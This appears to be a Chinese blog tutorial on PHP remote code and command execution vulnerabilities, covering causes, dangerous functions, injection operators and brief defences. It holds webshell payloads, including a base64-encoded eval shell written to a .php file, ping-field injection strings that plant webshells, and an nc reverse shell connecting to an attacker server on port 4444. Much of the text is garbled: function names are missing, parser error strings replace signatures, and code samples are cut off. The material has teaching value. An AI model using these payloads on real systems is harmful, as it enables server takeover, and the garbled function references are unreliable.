PHP中RCE漏洞1.原理产生原因及解决办法(图)
2021-10-19
RCE漏洞
1.原理
原因:
应用程序没有严格检查和过滤用户输入,导致用户输入的参数作为命令执行。一般分为代码执行和命令执行。
漏洞点:
1. 代码中有命令执行功能,可以控制输入参数
2. 代码中有代码执行功能,可以控制输入参数
3.网站存在历史漏洞(网站本身,各种组件)
2.使用2.1.代码执行
概述:
由于业务需求php代码执行漏洞,有时需要调用一些函数来执行PHP中的命令php代码执行漏洞,如:eval()、()、()、()等,如果有函数使用这些函数,不检查并过滤出用户可以控制的参数,那么这个页面就可能存在远程代码执行漏洞。小于php7的拼接后依然可以执行,但是eval不行。
2.1.1.eval 函数
eval($code) 将字符串代码作为 PHP 代码执行
注意:传入eval()函数的参数必须是PHP代码,即必须以分号结尾;
函数 eval() 语言结构非常危险,因为它允许执行任意 PHP 代码。
不允许任何用户提供的未经完全验证的数据。
2.1.2.功能
($[, $])
检查断言是否为真。如果是字符串,则作为 PHP 代码通过 () 执行。
注意:()函数将传入的参数作为PHP代码直接执行,不需要以分号结尾。
2.1.3.功能
($, $, $ [, int:'EOF', got'&' at 19: ...it = -1 [, int &̲ ]])
执行正则表达式搜索和替换,搜索要替换的匹配部分。
('规则规则','替换字符','目标字符')
PCRE修饰符e:()执行替换字符串的反向引用替换后,将替换字符串作为php代码(eval函数方法)求值执行,执行结果作为实际参与替换的字符串。
2.1.4.功能
($, $ [, $…])
():返回数组,即对每个元素应用函数后的数组。函数参数的个数和传递给()的数组个数必须相同。对数组的每个元素应用回调函数
2.1.5.功能
($args, $code)
从传递的参数创建一个匿名函数并为其返回一个唯一的名称。通常这些参数将作为单引号字符串传递。使用单引号的原因是为了保护变量名不被解析。否则,如果使用双引号,则需要对变量名进行转义,例如$avar。函数默认为 eval
2.1.6.功能
($[, $[, $…]])
第一个参数是要调用的回调函数,其余参数是回调函数的参数。调用第一个参数作为回调函数
2.1.7.功能
($, $):
调用第一个参数作为回调函数(),传入参数数组作为()作为回调函数的参数。
2.1.8.功能
($[, $[, int $flag = 0 ]])
使用回调函数过滤数组中的元素;依次将数组中的每个值传递给函数。
2.1.9.双引号
在php中,如果有双引号中的变量,php解释器会用变量解释的结果来代替。单引号中的变量不会被处理,双引号中的函数不会被执行或替换。
作为字符串执行:
echo "phpinfo()";
作为代码执行:
echo "{${phpinfo()}}";
执行一句话木马:
echo "${@assert($_POST[a])}";
通过post数据将木马写入服务器
echo -n 'PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+' | base64 -d > 111.php
2.2.命令执行
概述:
一般出现这种漏洞是因为应用系统需要为用户提供指定的远程命令操作接口。例如,在我们常见的路由器、防火墙、入侵检测设备等的web管理界面上,一般都会给用户提供一个ping操作的web界面,用户从web界面输入目标IP。提交后,后台会对IP地址进行ping测试并返回测试结果。但是,如果设计者在完成该功能时没有实施严格的安全控制,可能会导致攻击者通过该接口提交恶意命令在后台执行,从而获取后台服务器的权限。
使用PHP的系统命令执行功能调用系统命令并执行。此类函数包括()、exec()、()、()、()、()、()等,除了反引号命令执行外,这种方式其实就是调用()函数来执行。
system():执行外部程序,并且显示输出;
exec():执行一个外部程序
shell_exec():通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
passthru():执行unix系统命令并且显示原始输出
pcntl_exec():在当前进程空间执行指定程序
popen():打开进程文件指针
proc_open():执行一个命令,并且打开用来输入/输出的文件指针。
2.2.1.exec 函数
exec (:'EOF', got'&' at 18:... [, &̲ [, int &$ ]])
执行外部程序,exec()执行参数指定的命令。
exec 在执行系统外部命令时不输出结果,而是返回结果的最后一行。
如果要获取结果,可以使用第二个参数将其输出到指定的数组。此数组中的一条记录代表一行输出。
2.2.2.功能
(:'EOF', got'&' at 16: [, int &̲])
该函数执行参数指定的命令并输出执行结果。
与exec不同的是,在执行系统外部命令时,结果直接输出到浏览器,如果命令执行成功则返回true,否则返回。
2.2.3.功能
(:'EOF', got'&' at 16: [, int &̲])
执行外部程序并显示原始输出,类似于exec()函数,()函数也用于执行外部命令()。当执行的Unix命令输出二进制数据,需要直接传输到浏览器时,需要用这个函数来代替exec()或()函数。
区别在于:直接将结果输出到浏览器,不返回任何值,可以输出二进制,比如图片数据。第二个参数是可选的,是状态码。
";
echo $b;
?>
命令执行成功返回0,执行不成功返回1
2.2.4.功能
($cmd)
通过环境执行命令并以字符串形式返回完整的输出。
此函数与执行运算符 (`) 相同
$output
"; echo `$cmd`; ?>
输出是一样的。
2.2.5. 命令执行常用特殊字符
cmd1|cmd2:无论cmd1是否执行成功,都会执行cmd2
cmd1; cmd2:无论cmd1是否执行成功,都会执行cmd2
cmd1||cmd2:只有在cmd1执行失败时才执行cmd2
cmd1&&cmd2:cmd1执行成功后才执行
2.2.6.
写:
127.0.0.1|echo "" > ./sys/1.php 双引号会解析变量导致一句话木马缺失,可以使用\转义变量进行写入 也可以使用单引号闭合
127.0.0.1|echo ""> ./sys/3.php
127.0.0.1|echo "PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==" | base64 -d > ./sys/2.php
nc反弹:
127.0.0.1;mkfifo /tmp/pipe;sh /tmp/pipe | nc 服务器ip 4444 > /tmp/pipe
nc lvvp 4444
3.伤害
1. 继承Web服务程序执行系统命令或读写文件的权限
2. 反弹并获得目标服务器的访问权限
3. 进一步渗透内网
4.防御
1.尽量不要执行外部命令。
2.使用自定义函数或函数库替换外部命令的函数。
3.使用 ||arg 函数处理命令参数。
4.使用指定的可执行文件的路径(指定路径的时候可以提前把要使用的命令放到这个路径中)。